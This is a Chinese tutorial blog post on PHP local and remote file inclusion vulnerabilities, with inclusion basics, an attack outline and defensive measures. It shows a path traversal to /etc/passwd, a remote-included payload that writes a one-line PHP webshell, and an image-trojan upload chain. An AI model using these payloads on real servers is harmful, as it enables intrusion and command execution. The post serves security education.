美文网首页
文件包含漏洞

文件包含漏洞

作者: sunnnnnnnnnny | 来源:发表于2020-02-01 05:18 被阅读0次

文件包含漏洞概述

在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用"包含"函数功能,比如把一系列功能函数都写进 fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上句<? php include fuction. php?>就可以调用函数代码.
但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击着可以通过修改包含文件的位置来让后台执行任意文件(代码)。
这种情况我们称为"文件包含漏洞".

文件包含漏洞有“本地文件包含漏洞”和“远程文件包含漏洞”两种情况。


文件包含漏洞原理示意

包含函数

通过 include()或 require()语句,可以将PHP文件的内容插入另一个PHP文件(在服务器执行它之前)。
include和 require语句是相同的,除了错误处理方面

  • require会生成致命错误( E COMPILE ERROR)并停止脚本
  • include只生成警告( E WARNING),并且脚本会继续
    比如,有一个test.php
<?php $co1or='银色的'; $car='奔驰轿车'; ?>

另一个php文件包含了test.php
index.php

<html>
  <body>
    <h1>欢迎访问我的首页!</h1>
    <?php
         include 'test.php' ;
         echo "我有一辆".$color.$car;
    ?>
  </body >
</html>

本地文件包含漏洞测试

后台代码

后端对前端提交的filename参数没有处理,直接拼接成路径,交给include函数。会导致服务器上的敏感文件暴露。如将filename参数改为../../../../../../../etc/passwd,会暴露系统的口令文件

远程文件包含漏洞测试

远程文件包含漏洞形式跟本地文件包含漏洞差不多,在远程包含漏洞中,攻击着可以通过访问外部地址来加载远程的代码。
远程包含漏洞前提:如果使用的 incldue和 require,则需要 php. ini配置如下(php5.4.34)

allow_url_fopen=on //默认打开
Allow_url_include=on //默认关闭

通过远程文件包含漏洞可以包含攻击者恶意网站的php文件,比如如下面这样恶意php文件,实现在本地生成一个一句话木马。然后可以通过菜刀连接就可以访问服务器了。
test.txt

<?php
    $file = fopen('newfile.php','w');
    $txt = '<?php system($_GET[cmd]); ?>';
    fwrite($file,$txt);
    fclose($file)
?>

文件包含漏洞之文件上传漏洞的利用

一般的本地文件包含漏洞没有什么用,如果能和文件上传漏洞结合使用,就可以拿到网站服务器的shell.
思路:
1,制作一个图片木马,通过文件上传漏洞上传;
2,通过文件包含漏洞对该图片木马进行“包含”
3,获取执行结果

文件包含漏洞常见防范措施

0.在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作。
1过滤各种../../,http://,https://
2.配置 php. ini配置文件

allow_url_fopen = off
Allow_url_include = off
magic_quotes_gpc=on //gpclE

3.通过白名单策略,仅允许包含运行指定的文件,其他的都禁止;

相关文章

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • 网络安全之文件包含漏洞总结

    介绍 文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直...

  • 文件包含漏洞

    定义:在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄...

  • 文件包含漏洞

    几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,在JSP...

  • 文件包含漏洞

    文件转载自https://blog.csdn.net/chence19871/article/details/51...

  • 文件包含漏洞

    文件包含漏洞 产生的原因:通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶...

  • 文件包含漏洞

    文件包含 常见文件包含函数 利用条件 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件 ...

  • 文件包含漏洞

    当allow_url_open=on allow_url_include=on 就会造成文件包含漏洞 http:/...

  • 文件包含漏洞

    一、文件包含漏洞简介 1、包含:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文...

  • 文件包含漏洞

    文件包含漏洞概述 在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用"包含"函数功能,比如...

网友评论

      本文标题:文件包含漏洞

      本文链接:https://www.haomeiwen.com/subject/hqaithtx.html